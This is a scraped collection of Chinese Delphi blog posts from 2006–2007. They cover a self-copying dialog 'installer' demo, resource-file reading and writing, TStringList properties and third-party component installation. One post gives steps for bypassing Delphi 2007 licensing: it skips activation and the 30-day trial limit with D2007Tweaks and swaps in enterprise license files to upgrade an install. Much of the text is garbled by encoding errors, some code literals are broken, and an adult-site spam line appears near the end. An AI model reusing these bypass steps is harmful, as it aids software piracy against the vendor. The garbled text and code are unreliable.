　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.
　　上面的程序只不过是一个空�H�口而已,现在我们来写代码响应按下相应按钮响应的事件。完整代码如�?
　　 program MyDemo;
　　 uses Windows, Messages, shlobj;
　　 const
　　　 ID_Edit = 10001;
　　　 ID_Selet = 10002;
　　　 ID_Setup = 10003;
　　　 ID_Quit = 10004;
　　　 ID_Exit = 10005;
　　 {$R Demo.Res}
　　 var
　　　 MainWin: HWND;
　　
　　 function My_Gettext: string;
　　 var
　　　 Textlength: Integer;
　　　 Text: PChar;
　　　 s: string;
　　 begin
　　　 TextLength := GetWindowTextLength(GetDlgItem(MainWin, ID_Edit));
　　　 GetMem(Text, TextLength + 1);
　　　 GetWindowText(GetDlgItem(MainWin, ID_Edit), Text, TextLength + 1);
　　　 s := text;
　　　 FreeMem(Text, TextLength + 1);
　　　 Result := s;
　　 end;
　　
　　 function Getmyname: string;
　　 var
　　　 i, j: integer;
　　 begin
　　　 J := 3;
　　　 for i := 1 to length(ParamStr(0)) do
　　　　 if ParamStr(0)[i] = '' then J := I;
　　　 Result := copy(ParamStr(0), J + 1, length(ParamStr(0)) - J);
　　 end;
　　
　　 function SelectDirectory(handle: hwnd; const Caption: string; const Root: WideString; out
Directory: string): Boolean;
　　 var
　　　 lpbi: _browseinfo;
　　　 buf: array[0..MAX_PATH] of char;
　　　 id: ishellfolder;
　　　 eaten, att: cardinal;
　　　 rt: pitemidlist;
　　　 initdir: pwidechar;
　　 begin
　　　 result := false;
　　　 lpbi.hwndOwner := handle;
　　　 lpbi.lpfn := nil;
　　　 lpbi.lpszTitle := pchar(caption);
　　　 lpbi.ulFlags := BIF_RETURNONLYFSDIRS + BIF_EDITBOX;
　　　 SHGetDesktopFolder(id);
　　　 initdir := pwchar(root);
　　　 id.ParseDisplayName(0, nil, initdir, eaten, rt, att);
　　　 lpbi.pidlRoot := rt;
　　　 getmem(lpbi.pszDisplayName, MAX_PATH);
　　　 try
　　　　 result := shgetpathfromidlist(shbrowseforfolder(lpbi), buf);
　　　 except
　　　　 freemem(lpbi.pszDisplayName);
　　　 end;
　　　 if result then
　　　　 begin
　　　　　 directory := buf;
　　　　　 if length(directory) <> 3 then directory := directory + '';
　　　　 end;
　　 end;
　　
　　 function MainDialogProc(
　　　 DlgWin: hWnd;
　　　 DlgMessage: UINT;
　　　 DlgWParam: WPARAM;
　　　 DlgLParam: LPARAM
　　　 )
　　　 : integer; stdcall;
　　 var
　　　 MyIcon: HICON;
　　　 Sdir: string;
　　 begin
　　　 Result := 0;
　　　 case DlgMessage of
　　　　 WM_INITDIALOG:
　　　　　 begin
　　　　　　 MyIcon := LoadIcon(hInstance, 'MainIcon');
　　　　　　 SetClassLONG(DlgWin, GCL_HICON, MyIcon);
　　　　　　 MainWin := DlgWin;
　　　　　 end;
　　　　 WM_Close:
　　　　　 begin
　　　　　　 PostQuitMessage(0);
　　　　　　 Exit;
　　　　　 end;
　　　　 WM_COMMAND:
　　　　　 case LOWORD(DlgWParam) of
　　
　　　　　　 ID_Selet:
　　　　　　　 begin
　　　　　　　　 if SelectDirectory(DlgWin, '请选择安装目录', '', Sdir)
　　　　　　　　　 then SendMessage(GetDlgItem(DlgWin, ID_Edit), WM_SETTEXT, 0, lParam(pChar
(Sdir)));
　　　　　　　 end;
　　　　　　 ID_Setup:
　　　　　　　 begin
　　　　　　　　 if My_Gettext = '' then
　　　　　　　　　 begin
　　　　　　　　　　 MessageBox(DlgWin, '请先选择安装文�g�?', '信息', MB_ICONINFORMATION + MB_OK);
　　　　　　　　　　 Exit;
　　　　　　　　　 end;
　　　　　　　　 CopyFile(pchar(ParamStr(0)), pchar(My_Gettext + Getmyname), false);
　　　　　　　　 MessageBox(DlgWin, '安装完毕!', '信息', MB_ICONINFORMATION + MB_OK);
　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 Exit;
　　　　　　　 end;
　　　　　　 ID_Quit:
　　　　　　　 begin
　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 EXIT;
　　　　　　　 end;
　　　　　　 ID_Exit:
　　　　　　　 begin
　　　　　　　　 if MessageBox(DlgWin, '你点��M��菜单“退�?#8221;�Q�你��定退出程序吗?', '信息',
MB_ICONQUESTION + MB_OKCANCEL) = IDOK then
　　　　　　　　　 PostQuitMessage(0);
　　　　　　　　 Exit;
　　　　　　　 end;
　　　　　 end;
　　　 end;
　　 end;
　　 begin
　　　 DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
　　 end.

飞鸟 2007-05-25 22:39 发表评论

delphi��d��E�序资源文�g

飞鸟 — Wed, 16 May 2007 10:40:00 GMT

在写�E�序的时候有些功能需要资源文件因此改写MSDN的例�?br>
function readSource(loadFile:PChar;var str:string):Boolean;
var
hres:THandle;
hexe:THandle;
hload:THandle;
pCResLock:PChar;
begin
Result:=True;
hexe:=LoadLibrary(loadFile);
if hexe=0 then
    Result:=False;
hres:= FindResource(hExe, 'Config', RT_RCDATA);
if hres=0 then
    Result:=False;
hload:=LoadResource(hexe,hres);
if hload=0 then
    Result:=False;
pCResLock:=LockResource(hload);
FreeLibrary(hexe);
  str:=string(pCResLock);
ShowMessage(pCResLock);
end;

function updateSource(loadFile:PChar;str:string)Boolean;
var
hUpdateRes :THandle;
begin
Result:=True;
  hUpdateRes:=BeginUpdateResource(loadFile,False);
Result:=UpdateResource(hUpdateRes,
     RT_RCDATA,
     PChar('Config'),
     MakeWord(LANG_NEUTRAL, SUBLANG_NEUTRAL) ,
     PChar(str),
     Length(str)
    );
if Result=True then
    EndUpdateResource(hUpdateRes, FALSE);
end;

飞鸟 2007-05-16 18:40 发表评论

TStringList的用�?

飞鸟 — Fri, 11 May 2007 07:47:00 GMT

TStrings是一个抽象类�Q�在实际开发中�Q�是除了基本�c�d��外，应用得最多的�?br>常规的用法大安��知道�Q�现在来讨论它的一些高�U�的用法�?br>先把要讨论的几个属性列出来�Q?br>1、CommaText
2、Delimiter & DelimitedText
3、Names & Values & ValueFromIndex
先看�W�一个：CommaText。怎么用呢�Q�用代码说话�Q?br>const
constr :String = 'aaa,bbb,ccc,ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.CommaText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
执行了这�D�代码后�Q�可以看到ShowMessage昄��出来的分别是�Q�aaa bbb ccc ddd�?br>也就是说�Q�strs.CommaText := constr�q�一句的作用�Q�就是把一个字�W�串�?,'为分割符�Q�分�D�|��加到TStrings中�?br>那么如果不是�?,'来分�Ԍ��又该怎么做呢�Q�现在看�W�二个例子。��用Delimiter和DelimitedText�?br>const
constr :String = 'aaa\bbb\ccc\ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
可以看到�Q?昄��的效果和�W�一个例子是一模一��L��。解释一下：
Delimiter为分隔符�Q�默认�ؓ�Q?,'。DelimitedText��是按Delimiter为分隔符的一个串�Q�得到赋值后回把�q�个字符串按Delimiter的字�W�添加到TStrings中�?br>说到�q�里�Q�有惌��v一个属性，QuoteChar。其默认��gؓ�Q?"'�Q�不包括单引��P��
有何用呢�Q�看例子�Q?br>const
constr :String = '"aaa"\"bbb"\"ccc"\"ddd"';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
昄��出来的仍然是aaa bbb ccc ddd。�ؓ什么不是："aaa" "bbb" "ccc" "ddd"呢？
再来看一个例子：
const
constr :String = '|aaa|\|bbb|\|ccc|\|ddd|';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.Delimiter := '\';
strs.QuoteChar := '|';
strs.DelimitedText := constr;
for i := 0 to Strs.Count-1 do
    ShowMessage(Strs[i]);
end;
昄��出来的又是aaa bbb ccc ddd。对比一下，应该不难明白吧？�q�个��׃��多说了，用得也不多�?br>但是�q�要多说一句，当Delimiter为：','而QuoteChar为：'"'�Ӟ��DelimitedText和CommaText是同�{�的�?br>最后要说的三个是：Names & Values & ValueFromIndex�?br>看看下面的代码：
const
constr :String = '0=aaa,1=bbb,2=ccc,3=ddd';
var
strs :TStrings;
i :Integer;
begin
strs := TStringList.Create;
strs.CommaText := constr;
for i := 0 to strs.Count-1 do
begin
    ShowMessage(strs.Names[i]);
    ShowMessage(strs.Values[strs.Names[i]]);
    ShowMessage(strs.ValueFromIndex[i]);
end;
end;
通过�q�个例子不难看出�Q?br>�q�个时候strs中的内容是：
0=aaa
1=bbb
2=ccc
3=ddd
而Names中则是：
0
1
2
3
在Values中则是：
aaa
bbb
ccc
ddd

飞鸟 2007-05-11 15:47 发表评论

飞鸟 — Mon, 09 Apr 2007 07:04:00 GMT

delphi2007 SN(key)解决办法

　　�q�些天相信大安��在忙着下蝲Delphi 2007吧，我也在第一旉��从BT上下载了�|�上��出的专业版�Q�但��在今天发现官方��Z��企业版的30天测试版下蝲�Q��ؓ了追求完��从下午开始对企业版分析，分析�l�果如下�Q?br>
一、关于官方的版本
　　官方下蝲的只是个EXE文�g�Q�下载后��认和专业版内的setup.exe是同一文�g�Q�其它文件和专业版一��P��已经和官方下载的比对�q�了�Q�这里和M$的Vista一��P��是用序列来确定是什么版本的�Q?img class=img onmousewheel="return bbimg(this)" onclick=window.open(this.src); alt=点击在新�H�口中打开囄�� src="http://blog.suolei.com/images/emot/grin.gif" onload=resizepic(this) border=0>

0a98a3729f236dd98d5fb3b0a289af63 Setup.exe
0a98a3729f236dd98d5fb3b0a289af63 DELPHI07TRIALSETUP.EXE　　此�ؓ官方下蝲的文�?br>
官方下蝲地址: http://www.codegear.com/Downloads/TrialandFreeVersions/Delphi/tabid/138/Default.aspx
�? 下蝲旉��要注册一个帐��P��其实主要是申请个30天的序列��P��Q?br>
二、安装Delphi2007
　　删除专业版自带的delphi2007.slip文�g(��备䆾��h��)�Q�不是就无法出现输入序列��L��界面�Q�运行setup.exe�q�用甌��来的30天测试序列号安装。完装完成后需要用序列受��申请序列号时用的邮��地址、密码激�z?三样�~�Z��不可)�Q�但�q�里可以不激�zȝ��D2007Tweaks跌��卛_��Q�如果激�z�M��以后也可以用D2007Tweaks跌��30天限�?因�ؓ用的�?0天限制序列号�Q�所以装好后没有源码�Q�下面提供专业版Source目录压羃包下载�?�?br>D2007Tweaks下蝲
点击�q�里下蝲
专业版Source目录打包
点击�q�里下蝲1
点击�q�里下蝲2
点击�q�里下蝲3
点击�q�里下蝲4
Delphi2007 两个30天slip文�g�Q?br>d2007_Pro.slip 专业�?br>d2007_Ent.slip 企业�?br>　　没有序列��L��朋友可以用这里提供的企业30天版slip文�g�q�行安装。方法是替换专业版安装目录内的slip文�g��可以安装了�?br>点击�q�里下蝲

　　装完后即是企业版了！现在你就可以慢慢体会了！

�Ȁ�z�d��的Splash界面

三、错误处�?/strong>
1、安装时提示“Invalid Serial Number”
　　删除C:\Documents and Settings\All Users\Application Data\下的CodeGear目录(此处C为系�l�盘)�Q�另外有��不能安装在中文目录下�?br>2、完装后提示要协�?br>　　用D2007Tweaks跌��卛_��?br>
四、其他发�?/strong>
1、安装程序会��所有文件解压到下面目录中！
C:\Documents and Settings\XXXX\Local Settings\Application Data\{AB3EC276-D261-4943-A921-1CC1C6799AED}

飞鸟 2007-04-09 15:04 发表评论

飞鸟 — Fri, 08 Sep 2006 12:38:00 GMT

不是由BORLAND提供的组件叫�W�三方组�Ӟ��
安装�Ҏ��Q?br />��q��前常见的各种形式的组件的安装�Ҏ��介绍一下。�?

1 只有一个DCU文�g的组件。DCU文�g是编译好的单元文�Ӟ��q�样的组件是作者不��x��源码公布。一般来��_��作者必��说明此�l��g适合Delphi的哪�U�版本，如果版本不对�Q�在安装时就会出现错误。也正是因�ؓ没有源码�Q�给使用者带来了不便�Q�那��是一旦Delphi版本升��Q�此�l��g��׃��能再使用了，当然有的作者给��Z��几种版本的DCU文�g�Q�用��h��据需要选择使用。这��L��l��g的安装方法是�Q�在Component菜单中，选择install component�Q�在对话�?
"into existing package"��中�Q�单几Z��Unit file name”后的“Browse”按扭，在打开的文件对话框中，��“文件类型”设定�ؓ*.dcu�Q�找到要安装的DCU文�g�Q�按OK按钮�q�回"into existing package"��后再按OK按钮��可以安装了。注意，此时Delphi会提�C�dclusr40.dpk��被重徏�Q�是否��l�，OK��可以了。这里是��组件安装到dclusr40.dpk包中�Q�此包从文�g名上可以看出是用戯��定义�l��g包，先安装到�q�个包中吧，下面再讲有关注意事项。安装完毕会有已�l�将�l��g注册完的提示信息以及安装到哪个组仉��中的信息�{�，到组仉��板上看看�Q�一般会出现一个新的组仉��Q�其中有刚安装的�l��g。�?

2�?只有PAS文�g或既有PAS又有DCU文�g的组件。这�U�组件因为有PAS文�g�Q�也��是说作者提供了源码�Q�这��好办多了。安装的�Ҏ��和上面是一��L��Q�在文�g�c�d��中可以设定�ؓDCU也可以设定�ؓPAS�Q�徏议设定�ؓPAS�Q�这样可用你的Delphi重新�~�译一下，看是否会出现问题。Delphi升��后只能选择PAS文�g安装�Q�这��h��能重新编译，使得�l��g能适应新Delphi版本。这��L��l��g是很值得使用的，�Ҏ��心铃的经验，没有源码的组件最好不要��用，一是存在Delphi版本升��后无法��用的问题�Q�再者当�E�序出现问题后用��h��法调试组件来判断是否是组件中存在BUG。�?

3、有dpk文�g的组件包。带有dpk文�g的组件包一般是有多个组件构成的�Q�也��是说安装后会有多个�l��g供��用，如果只有一个组件作者一般不会制成DPK文�g�Q��用上面的方式发布��可以了。对于这��L��l��g包，一般来说会有详�l�的安装说明文�g�Q�如上面提到的RXLIB�Q�由于组件复杂且安装时有先后��序�Q�作者不提供安装说明用户�Ҏ��无法正确安装。如果没有安装说明文�Ӟ��那么用下面的�Ҏ��安装�Q�在File菜单下，选择”OPEN…”打开dpk文�g(文�g�c�d��列表框中�?.dpk)�Q�在出现的Package�H�口中，工具栏上有Install按钮�Q�按此按钮即可进行安装。如果Install按钮处于无效状态，那么先按Compile按钮�~�译�Q�一般来说编译之后Install按钮��׃��处于有效状态，此时再按Install按钮��可以了。�?

4�?带有Bpl文�g的组件包。一般来说这也是由多�U�组件构成的�l��g包，它其实是一个动态连接库文�g�Q�DLL�Q�。对于这�U�组件包的安装方法是�Q�在component菜单下选择“install packages”，然后单击Add按钮�Q�在打开的文件对话框中找到相应的bpl文�g打开�q�回后，再单击Ok按钮��可以了。�?

5、ActiveX控�g的安装。要安装�q�类控�g�Q�需要先用regsvr32.exe注册�Q�然后选择Component菜单中Import ActiveX Control��V��在Import ActiveX Control打开的窗口中�Q�只有已�l�注册的ActiveX控�g才出现在列表中，选中一个然后按Install按钮��可以安装了。如果事先没有用regsvr32.exe注册也可以按ADD按钮扑ֈ�OCX文�g��x��注册�Q�注册后再进行安装�?

几点说明�Q?

1 在拿到组件后先看是否有说明文�Ӟ��一般来说在说明文�g中有如何安装的指��|��有些�q�会有组件的属性、事件、方法的使用说明�Q�这些在使用时是非常重要的�?

2 在上面的�l��g�Q�包�Q�安装操作之前，最好将 *.bpl拯��C��的System目录中，��?*.pas�?.dcu�?.dcr�?.dp?拯��到Delphi的Lib目录中再�q�行�?

3 前面我们提到安装DCU�l��g�Ӟ��选用的是已经存在的dclusr40.dpk�Q�当然也可以选择安装��C��个新的包中，如果选择新包�Q�需要先取一个名字比如DEMO�Q�事实上安装完毕后用户可以找到的是Demo.bpl�Q�而找不到DEMO.DPK。假如你已经��一个组件安装到dclusr40.dpk中了�Q�还惛_��安装一个组�Ӟ��如果再安装到dclusr40.dpk中，安装后你得到提示�Q�原来安装的那个�l��g已经被取消注册，你将无法使用了。这样不��成了只能安装一个组件了吗？除非你再安装��C��个新的包中才可以两个�l��g同时使用。当然每安装一个组件生成一个新的BPL文�g也未偿不可，但BPL文�g��增加许多。能否在dclusr40.dpk中多安装几个�l��g呢？当然是可以的。方法如下：用File菜单下的OPEN打开dclusr40.dpk文�g�Q�单击ADD按钮�Q�在打开的对话框中选择ADD UNIT��面�Q�按Unit file name后的“Browse”按钮打开�l��g单元文�g�Q�OK卛_��Q�用此种�Ҏ��q�样可添加多个组件的单元文�g�Q�添加完毕，按一下编译按钮，然后再按Install按钮卛_��Q�如果单元文件是�~�译好的�Q�DCU�Q�可以直接按安装按钮�?

4 �l��g的删除。光会安装可不行�Q�还要会删除呀。很��单，在component菜单下，选择install packages�Q�在列表中找到安装所在的Bpl�Q�按Remove按钮�Q�ok�Q�再把Bpl文�g删掉��彻底了�Q�如果不删除BPL文�g�Q�下�ơ可以按安装BPL�l��g的方法再安装使用

飞鸟 2006-09-08 20:38 发表评论

亚洲人成网站18禁止,亚洲一级毛片免费看,亚洲制服丝袜第一页

谈Delphi�~�程中资源文件的应用

delphi��d���E�序资源文�g

TStringList的用�?

delphi��d��E�序资源文�g